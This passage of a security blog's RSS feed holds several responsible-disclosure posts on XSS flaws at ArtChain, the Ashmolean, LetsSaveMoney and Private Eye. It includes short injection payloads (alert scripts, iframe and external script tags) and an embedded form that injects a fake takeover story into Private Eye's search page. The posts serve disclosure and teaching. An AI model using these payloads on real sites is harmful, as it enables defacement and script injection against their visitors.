src="data:image/webp;base64,UklGRrwBAABXRUJQVlA4ILABAACwBwCdASowADAAPrVYpU8nJKMzo4gCcBaJQBB06v1cDLA0gUzDxx26g7DcbFV9fgwC2kjW36YORYWNy4dMdl2LlssLHuEAAP7tvp7EN/qXdRl/9r1HS9RwckT/9arI0DFP//56Z/rb7LeNQSZ1hUH1nA9jFMBRK/PIM39Gm+50ffpcXBlSW/AE5vx26S4iMI/h6rWw4eKEYjmW+oFa8FX2rUXaQM98VIwAUDn6ZgWybitUInYMmnTr128gD0Sx7nz5eojf0kulj4CUaEuzud4TmfoVYER1Ct4eM+N6ugXCA+YRNQ6K3/dbcn3AqvKGzO+0nz26kPwgSZUqyIMJXQ8yd//mkTYLZtcMswCiP1TOvMLPQHgiTpDH9JAhYLM0CNzTnwdYAUYPtrCcve1kT/Hu9OkJ2/rM5O1kbAmzGGRaoGrz4ND/XUiNqp37mATkO/6XeJkbRL2sdYSg7ycXqjdxrL8XHW+SBBPGf0J3DKXf4/gyFlT36Dm88Yv8yX/g1LAv+eaVZqJnTj7m9Dx4WfhCBhmw4S7klaXQfHSSuHOWmzEpXLODEOoQVzkEd2IAAAA=" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">ThreeUKSupport</p>@ThreeUKSupport</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody"><small class="social-embed-reply"><a href="https://twitter.com/REALSgtBrdStk/status/1085554510343430144">Replying to @REALSgtBrdStk</a></small><a href="https://twitter.com/REALSgtBrdStk">@REALSgtBrdStk</a> don't worry, if you go to any pages where you need to enter any personal details or sensitive info the webpage will be https secure ☺🔐 &gt;KH</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/ThreeUKSupport/status/1085560856702844928"><span aria-label="0 likes" class="social-embed-meta">❤️ 0</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2019-01-16T15:34:11.000Z" itemprop="datePublished">15:34 - Wed 16 January 2019</time></a></footer></blockquote>

<p>Eventually a friend of a friend sent me a security email address which Three do not publicise. I fired off a quick disclosure and was pleasantly surprised at how seriously they took the issue.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/#timeline">Timeline</a></h2>

<ul>
<li>2019-08-22 - Discovered and disclosed. Got a reply in under an hour that it was being looked at and that a 90 day disclosure was fine.</li>
<li>2019-09-20 - Three informed me the issue was fixed, which I verified. They offered to send me a token of their appreciation in lieu of a formal bug bounty.</li>
<li>2019-09-22 - Bug Bounty delivered! <img src="https://shkspr.mobi/blog/wp-content/uploads/2019/11/chocolates.jpeg" alt="A lovely box of chocolates." width="678" height="680" class="aligncenter size-full wp-image-32760">
Big ol' box of chocolates!</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=32644&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Security issues on ArtChain]]></title>
		<link>https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/</link>
					<comments>https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Mon, 05 Nov 2018 12:35:05 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[NaBloPoMo]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=30225</guid>

					<description><![CDATA[One of the problems with the BlockChain goldrush is that it attracts a lot of people who don&#039;t necessarily have the required technical skill to safely run a service.  This in turn reduces trust in the ecosystem.  I&#039;d like to discuss ArtChain.info - &#34;Certifying Art Using the Bitcoin Blockchain&#34; - and the some of the security issues I found there.  XSS  This is one of those simple bugs which every…]]></description>
										<content:encoded><![CDATA[<p>One of the problems with the BlockChain goldrush is that it attracts a lot of people who don't necessarily have the required technical skill to safely run a service.  This in turn reduces trust in the ecosystem.</p>

<p>I'd like to discuss ArtChain.info - "Certifying Art Using the Bitcoin Blockchain" - and the some of the security issues I found there.</p>

<h2 id="xss"><a href="https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/#xss">XSS</a></h2>

<p>This is one of those simple bugs which every web developer should be aware of and be able to defend against.  A site should properly escape untrusted content.</p>

<p>ArtChain allowed anyone to register on the site and set their name to some JavaScript code.  This meant visitors to the website would automatically run an attacker's code.</p>

<p>Here's a simple demo.  A user registers with the name <code>&lt;script&gt;alert("xss");&lt;/script&gt;</code>.  Every visitor to the site now receives this pop-up.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2018/08/ArtChain-XSS-fs8.png" alt="A website with a popup notification." width="480" height="712" class="aligncenter size-full wp-image-30226">

<p>It could be a lot worse. This simple demonstration is not malicious. An attacker could craft a script which phished for user credentials, tried to hijack the administrators' cookies, or mined cryptocurrency.  In short, a user or administrator could not trust the content on the page.</p>

<p>This was the site owner's response to my investigation.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2018/08/ArtChain-response-XSS-fs8.png" alt="Now you try to hack our website? Really? Terence the hacker? Sitting in your underwear? Trying to hack our site? Trust me... there is nothing to hack. Our database is backed up every day and stored off-line. Even in the 1 in trillion chance you could hack our off-line backups... it still wouldn't matter!!!! Our platform is based on the bitcoin blockchain. You would have to hack the bitcoin blockchain to make a difference in what we are doing. You fucking idiot." width="540" height="367" class="aligncenter size-medium wp-image-30227">

<p>What Howard fails to realise is that it doesn't matter that his platform is based on the BitCoin BlockChain. If an attacker can add malicious JavaScript to his site, then steal his credentials, it's game over. The indelible nature of the BlockChain means that malicious or incorrect content stays there forever - losing control of your keys is a disaster.</p>

<p>There's also the issue of trust in the website. If an attacker can rewrite the page - even temporarily - they could convince users to transfer money, ownership, or attention elsewhere.</p>

<p>When you view content on ArtChain, you have no way of knowing whether it is official or hacked.  When the site displays a BitCoin address, it could be ArtChain's - or it could be an attacker's.</p>

<h2 id="error-messages"><a href="https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/#error-messages">Error Messages</a></h2>

<p>Again, it is basic security to make sure that your error messages don't leak sensitive information.  Going to an invalid URL should result in a user-friendly message.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2018/08/Artchain-php-errors-fs8.png" alt="Lots of PHP errors." width="1024" height="499" class="aligncenter size-full wp-image-30229">
In this case, we can see that the site is written in PHP, the username of the account, and the structure of the codebase.  Not critical problems, but it points to an underlying problem with the quality of the code.</p>

<p>The owner's response was succinct.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2018/08/ArtChain-response-fs8.png" alt="There you go again. Trying to break shit no matter what. Maybe you got the PHP errors because your registration was invalid... you are not an artists... you are a nobody... a poor idiot? Do ya think?" width="540" height="237" class="aligncenter size-medium wp-image-30228"></p>

<p>I don't think it is sensible for a site owner to blame users for problems on the site. The ArtChain site <em>was</em> broken - simply mistyping a URl allows anyone to see that.</p>

<p>When dealing with millions of dollars worth of assets, your code has to be rock solid. 
If basic errors like this occur on the website, it is only natural to wonder about the code used to write information to the BlockChain.</p>

<p>What is securing ArtChain's private keys?  If it is code of this quality, then it is hard to trust the data which they sign.</p>

<h2 id="other-issues"><a href="https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/#other-issues">Other issues</a></h2>

<p>A quick look around the site shows that it loaded JavaScript and CSS from an external CDN. But it didn't use <a href="https://www.srihash.org/">SubResource Integrity</a>.</p>

<p>While there are some slight speed advantages in using a CDN, it means that the website owner has to trust the CDN provider.  Without SRI, it's impossible for a user to know if the external scripts have been modified.</p>

<p>Effectively, this means if an attacker can compromise the CDN, they can completely control the page.  SRI is a simple way to prevent that.  The <a href="https://www.theregister.co.uk/2018/09/12/feedify_magecart_javascript_library_hacked/">recent MageCart vulnerability</a> shows the danger of relying on external JavaScript.</p>

<p>Outdated libraries. The site had <a href="https://snyk.io/test/npm/bootstrap/3.3.4">an older version of BootStrap which has a known vulnerability</a>.</p>

<p>Directory listing was enabled. This means users can see the list of files present on the webserver.  Using this, we can see that which resources have been uploaded to the server.</p>

<h2 id="trust-but-verify"><a href="https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/#trust-but-verify">Trust but verify</a></h2>

<p>It is hard to know who to trust online. Whenever a new market emerges, it attracts a large number of people.</p>

<p>Users have to critically evaluate the tools they use online. It's easy for us to see a beautiful looking website and assume that it is built on solid engineering foundations - but that's rarely the case.  It's hard to educate users to be able to spot sites with dangerous flaws.</p>

<p>As a community, we have to do a better job of making good security the default user experience.</p>

<h2 id="play-nicely"><a href="https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/#play-nicely">Play nicely</a></h2>

<p>Civility and respect are sometimes the best weapons we have in convincing others of our arguments. I try to stay calm and polite when discussing contentious issues online - and I appreciate it when people tell me I could do better.</p>

<p>No one deserves a verbal assault for pointing out security vulnerabilities.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=30225&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2018/11/security-issues-on-artchain/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Minimum Viable XSS]]></title>
		<link>https://shkspr.mobi/blog/2016/03/minimum-viable-xss/</link>
					<comments>https://shkspr.mobi/blog/2016/03/minimum-viable-xss/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 08 Mar 2016 11:57:57 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=22229</guid>

					<description><![CDATA[Update! I now have an XSS which is only 18 characters!  Here&#039;s a fun little game for all the family!  What is the minimum number of characters required to perform a successful XSS attack?  Let&#039;s take an entirely theoretical example - suppose we have a site which echos back user input without sanitising it.  So a search for &#34; &#60;em&#62;&#34; turns the whole page italic.  ahem  A hacker might think, &#34;Hurrah! …]]></description>
										<content:encoded><![CDATA[<p><ins datetime="2021-11-04T16:02:29+00:00">Update! I now have <a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#xss">an XSS which is only 18 characters</a>!</ins></p>

<p>Here's a fun little game for all the family!  What is the <em>minimum</em> number of characters required to perform a successful XSS attack?</p>

<p>Let's take an entirely theoretical example - suppose we have a site which echos back user input without sanitising it.  So a search for " <code>&lt;em&gt;</code>" turns the whole page italic.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2015/12/ashmolean-em-fs8.png" alt="ashmolean em-fs8" width="1024" height="576" class="aligncenter size-full wp-image-22251">
<em>ahem</em></p>

<p>A hacker might think, "Hurrah! Now I can directly inject JavaScript into the page. MWAHAHAHA!"</p>

<p>But wait, young grasshopper, for there is a fly in the ointment.  What if the developer of the site saw fit to restrict the number of characters echoed back to a mere 20? (Note, this limitation isn't set by a <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Input?redirectlocale=en-US&amp;redirectslug=HTML%2FElement%2FInput"><code>maxlength</code></a> attribute, but rather a server-side limitation.)
<img src="https://shkspr.mobi/blog/wp-content/uploads/2015/12/Ashmolean-20-chars-fs8.png" alt="Ashmolean 20 chars-fs8" width="1024" height="418" class="aligncenter size-full wp-image-22252">
Is that enough for mischief?</p>

<p>20 characters of JavaScript gets us
<code>&lt;script&gt;alert(1);&lt;/s</code></p>

<p>That's not even enough to make an annoying pop-up!</p>

<p>How about an iFrame? Load up something dastardly!
<code>&lt;iframe src="http://</code></p>

<p>Hmmm... We can use protocol-relative addresses to save us from having to use "http:"
<code>&lt;iframe src=//bit.ly</code>
<img src="https://shkspr.mobi/blog/wp-content/uploads/2016/01/asmolean-iframe-broken-fs8.png" alt="asmolean iframe broken-fs8" width="1024" height="576" class="aligncenter size-full wp-image-22253">
Normally, that wouldn't be enough to do anything with.</p>

<p>Suppose we control a really short domain name like <code>t.co</code>
<img src="https://shkspr.mobi/blog/wp-content/uploads/2016/01/ashmolean-iframe-work-fs8.png" alt="ashmolean iframe work-fs8" width="1024" height="576" class="aligncenter size-full wp-image-22254"></p>

<p>Aha! Success. Just about.  There are an extremely limited number of 4 character domains available - so this is an incredibly unlikely attack vector.</p>

<p>Perhaps we can load a script from an external resource?</p>

<p><code>&lt;script src=//ab.cd&gt;</code></p>

<p>Ooof! Again, just about possible if we control a <em>minuscule</em> domain.</p>

<p>If we can send a malicious payload to the user, perhaps via an image, could that work?</p>

<p>The maximum we can use is something like
<code>&lt;img src=//a.bc/123&gt;</code>.</p>

<p>So, if we contained a short domain, and were able to host (or redirect to) a malicious file, there's a <strong>slim</strong> chance of success.</p>

<p>A few people have <a href="http://www.highseverity.com/2011/06/xss-in-confined-spaces.html">attempted to find what the Minimum Viable XSS is</a>.  The general consensus is that <a href="https://www.davidsopas.com/tiny-xss-exploitation/">it would take more than 20 characters</a>.</p>

<p>I hope that I have demonstrated two things.</p>

<ol>
<li>If you have the resources to own a short domain, it is <em>just about</em> possible to craft an XSS in 20 characters.</li>
<li>Reducing the number of characters your site echos back is <strong>not</strong> a sensible way to filter out attacks!</li>
</ol>

<p>Here endeth the lesson.</p>

<hr>

<h3 id="responsible-disclosure"><a href="https://shkspr.mobi/blog/2016/03/minimum-viable-xss/#responsible-disclosure">Responsible Disclosure</a></h3>

<p>I contacted the Ashmolean in January regarding this flaw. It was fixed in early March.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=22229&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2016/03/minimum-viable-xss/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsible Disclosure - XSS Flaw at LetsSaveMoney.com]]></title>
		<link>https://shkspr.mobi/blog/2015/11/responsible-disclosure-xss-flaw-at-letssavemoney-com/</link>
					<comments>https://shkspr.mobi/blog/2015/11/responsible-disclosure-xss-flaw-at-letssavemoney-com/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sun, 29 Nov 2015 12:25:44 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[NaBloPoMo]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=21740</guid>

					<description><![CDATA[Another day, another bug!  LetsSaveMoney.com is a &#34;money saving&#34; site. It offers discounts on a wide range of products and services, and is financed through affiliate marketing. Links removed, because the site has disappeared.  My Trade Union, Prospect, has just launched a white-labelled &#34;Members&#039; Rewards&#34; based on LetsSaveMoney - that&#039;s how I came across this bug.  It&#039;s a depressingly familiar…]]></description>
										<content:encoded><![CDATA[<p>Another day, another bug!</p>

<p><a href="https://web.archive.org/web/20151104072810/https://letssavemoney.com">LetsSaveMoney.com</a> is a "money saving" site. It offers discounts on a wide range of products and services, and is financed through affiliate marketing.
<ins datetime="2018-12-05T10:18:59+00:00">Links removed, because the site has disappeared.</ins></p>

<p>My Trade Union, <a href="http://www.prospect.org.uk/">Prospect</a>, has just launched a white-labelled "Members' Rewards" based on LetsSaveMoney - that's how I came across this bug.</p>

<p>It's a depressingly familiar story - do a search which includes some HTML and watch it being echoed back to the user.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2015/10/Lets-Save-Money-XSS-fs8.png" alt="Lets Save Money XSS" width="870" height="605" class="aligncenter size-full wp-image-21741">

<p>Once you can get a page to load an external resource, it's game over for security.  An attacker can load up JavaScript, prompt the user for their password, display unauthorised images, etc.</p>

<p>I <a href="https://www.openbugbounty.org/reports/97000/">posted a report on XSSposed </a> and alerted LetsSaveMoney via their "Contact Us" form.</p>

<p>Impressively, I received an email back a few minutes later.  I provided the details over email and the site was fixed an hour later!</p>

<p>That's an excellent response time.</p>

<p>If you run a website, familiarise yourself with <a href="https://wiki.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf">OWASP's Top 10 Web Vulnerabilities</a>.  If you're a worker in a high-tech industry, you should consider <a href="https://www.prospect.org.uk/join">joining Prospect as your Trade Union</a>.</p>

<h2 id="bounty"><a href="https://shkspr.mobi/blog/2015/11/responsible-disclosure-xss-flaw-at-letssavemoney-com/#bounty">Bounty</a></h2>

<p>While I neither asked for, nor expected, a reward - I was delighted to receive an Xmas gift hamper as a token of their appreciation.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2015/11/Bug-Bounty-Hamper.jpeg" alt="Bug Bounty Hamper" width="600" height="800" class="aligncenter size-full wp-image-21812">
Hurrah!</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=21740&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2015/11/responsible-disclosure-xss-flaw-at-letssavemoney-com/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Private Eye - Not As Clever As They Think They Are]]></title>
		<link>https://shkspr.mobi/blog/2014/11/private-eye-not-as-clever-as-they-think-they-are/</link>
					<comments>https://shkspr.mobi/blog/2014/11/private-eye-not-as-clever-as-they-think-they-are/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sun, 02 Nov 2014 09:01:51 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[NaBloPoMo]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=10157</guid>

					<description><![CDATA[Private Eye is the only &#34;Dead Tree&#34; publication I buy.  I think its satire misses the mark more often than not - but its investigative journalism and general muck-raking are second to none.  The Eye has reluctantly been drawn into the digital age.  It has a piss-poor website run by the sort of &#34;tired and emotional&#34; gnomes who struggle with concepts like sanitising user input.  EXCLUSIVE  Push…]]></description>
										<content:encoded><![CDATA[<p>Private Eye is the only "Dead Tree" publication I buy.  I think its satire misses the mark more often than not - but its investigative journalism and general muck-raking are second to none.</p>

<p>The Eye has reluctantly been drawn into the digital age.  It has a piss-poor website run by the sort of "tired and emotional" gnomes who struggle with concepts like sanitising user input.</p>

<h2 id="exclusive"><a href="https://shkspr.mobi/blog/2014/11/private-eye-not-as-clever-as-they-think-they-are/#exclusive">EXCLUSIVE</a></h2>

<p>Push this button to see the Eye's new owner...</p>

<form action="http://private-eye.co.uk/search.php" method="post" name="form1" id="form1" target="_blank">
    <input name="search" type="hidden" class="search" id="search" value="<h1>Meet Our New Owner!</h1><img src=https://upload.wikimedia.org/wikipedia/commons/thumb/c/c2/Rupert_Murdoch_-_WEF_Davos_2007.jpg/160px-Rupert_Murdoch_-_WEF_Davos_2007.jpg style=float:left;margin-right:1em />Private Eye is delighted to announce that it has been aquired by News Corp.<br />New proprietor Rupert Murdoch said <blockquote>This is a great day for British Journalism.  With the Eye`s fearless reputation and News Corps` financial prowess, we can give worldwide exposure to the light of truth and justice.</blockquote><br />Effective immediately, editor Ian Hislop will be replaced by Piers Morgan.<hr style=margin-bottom:22em; />">
        <button>The New Eye - Revealed!</button>
</form>

<hr>

<p><br>
<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/03/Private-Eye-fs8.png" alt="Private Eye demonstrating XSS" width="722" height="568" class="aligncenter size-full wp-image-10164"></p>

<p>If that's a decent website, then I'm a banana!</p>

<p><strong>Note:</strong> After much persuasion, Private Eye fixed this problem by... errr... Turning off their search functionality <em>completely!</em></p>

<p>Private Eye spends a lot of time criticising the people working within the Internet Industries.  Perhaps they should spend less time examining the mote in others' eyes - and rather more time on the branch in their own?</p>

<p>I did call Lord Gnome's offices several months ago to report the error.  The flack who took my call was a "jolly hockey-sticks" type who struggled to turn on her computer and navigate to her employer's website.  I've not mentioned her by name - because I'm not a total bastard - but given Ian Hislop's apparent distaste for employing women, there's only a small pool from which to choose.</p>

<p>Ian - perhaps the reason your website is so atrocious is that you piss all over the sort of people who could actually help you.  You've run exposés on public- and private-sector websites being vulnerable, so why don't you stop being such a hypocrite and fix your own site?</p>

<hr>

<p>This flaw was responsibly disclosed to Private Eye and their <a href="http://www.2tier.co.uk/">web team</a> in March 2014.  I discussed it with them again in early September to highlight the flaw.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=10157&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2014/11/private-eye-not-as-clever-as-they-think-they-are/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Privacy and Security Flaw with CAB]]></title>
		<link>https://shkspr.mobi/blog/2014/10/privacy-and-security-flaw-with-cab/</link>
					<comments>https://shkspr.mobi/blog/2014/10/privacy-and-security-flaw-with-cab/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 24 Oct 2014 13:19:48 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=10825</guid>

					<description><![CDATA[The Citizens&#039; Advice Bureaux have just released a real-time view of what people are searching for on its site. It&#039;s heartbreaking.  Tom Loosemore@tomskitomskiInteresting new digital stuff emerging from @CitizensAdvice display-screen.cab-alpha.org.uk &#60;-- uncomfortable, messy, visceral reality @mikedixonCAB❤️ 8💬 3🔁 010:03 - Tue 21 October 2014  who supplies my electricity why do some children become…]]></description>
										<content:encoded><![CDATA[<p>The Citizens' Advice Bureaux have just released a real-time view of what people are searching for on its site. It's heartbreaking.</p>

<blockquote class="social-embed" id="social-embed-524501234099953664" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/tomskitomski" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRhQCAABXRUJQVlA4IAgCAACwCwCdASowADAAPrVInkonJCKhrjgMyOAWiWkAFGX9dd5fkMAzGL3PoUFLjNEmt3fkWzU3umMs5KqT4le+GFKeNUv6PTW7nv4LpB6yPPbavWr41OllNOIGSv3OiDK9CihmXNJhs5gA/rIyQR3CikdX/6EXL3yWf6bxVRk16Bf90CSlRV2jaZmTHwrMcaS2Vgp3G3zxPhvT+NJlN1o4BTxB0ewEB0HDbMR2t6z9xn8FvTjJxB7oL1ely6/okQSynAwafh1jNEMbg0uVLCYBcigrm2WLnBpsVYszFqIR4zkB1wcILOUaLggNP93XhPXTQ4IGUMQIWcFj1Avv9WOBRk1MBrVrUCW/Bmv4ejcVvFjun+tNOlrf9/L7lvKW1s3hYXh6Y7Iyt5zOUehLk6OQV/9fkO+7rYQujC0en5zPbr0iPt3x/lfFjYONA10kV/ZmP6aBB9nfdG3xQJvVUKu98L6lCmQDfaZiQm9ppDsM9t0xL+KPxilb+OeeDHghJnhyJF1D+DGyhzeIN9HccGL8ukXHE9208l9I4DTa2yCIXFR2vcoOQyUhnpKMFbesEuVYxVxwTgr4yFxT4K+T79dcQzcr1lekBh0hd/45xC8yXA75cp9suO64Ii+pfkvgAj5qr2rQgysQepZIPoC4gGjNm3XOajktFnuvfnlr1q9v8Js2Lc5GIMAaQAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Tom Loosemore</p>@tomskitomski</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">Interesting new digital stuff emerging from <a href="https://twitter.com/CitizensAdvice">@CitizensAdvice</a> <a href="http://display-screen.cab-alpha.org.uk/">display-screen.cab-alpha.org.uk</a> &lt;-- uncomfortable, messy, visceral reality @mikedixonCAB</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/tomskitomski/status/524501234099953664"><span aria-label="8 likes" class="social-embed-meta">❤️ 8</span><span aria-label="3 replies" class="social-embed-meta">💬 3</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2014-10-21T10:03:33.000Z" itemprop="datePublished">10:03 - Tue 21 October 2014</time></a></footer></blockquote>

<blockquote><p>who supplies my electricity<br>
why do some children become looked after<br>
will i get back pay on pip</p></blockquote>

<blockquote class="social-embed" id="social-embed-524505825906130944" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><blockquote class="social-embed" id="social-embed-524503436705161216" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">Just saw "What is the punishment in the UK if you steal a person's life savings"<br><a href="http://display-screen.cab-alpha.org.uk/">display-screen.cab-alpha.org.uk</a></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/524503436705161216"><span aria-label="0 likes" class="social-embed-meta">❤️ 0</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2014-10-21T10:12:18.000Z" itemprop="datePublished">10:12 - Tue 21 October 2014</time></a></footer></blockquote><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/jtemperton" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" 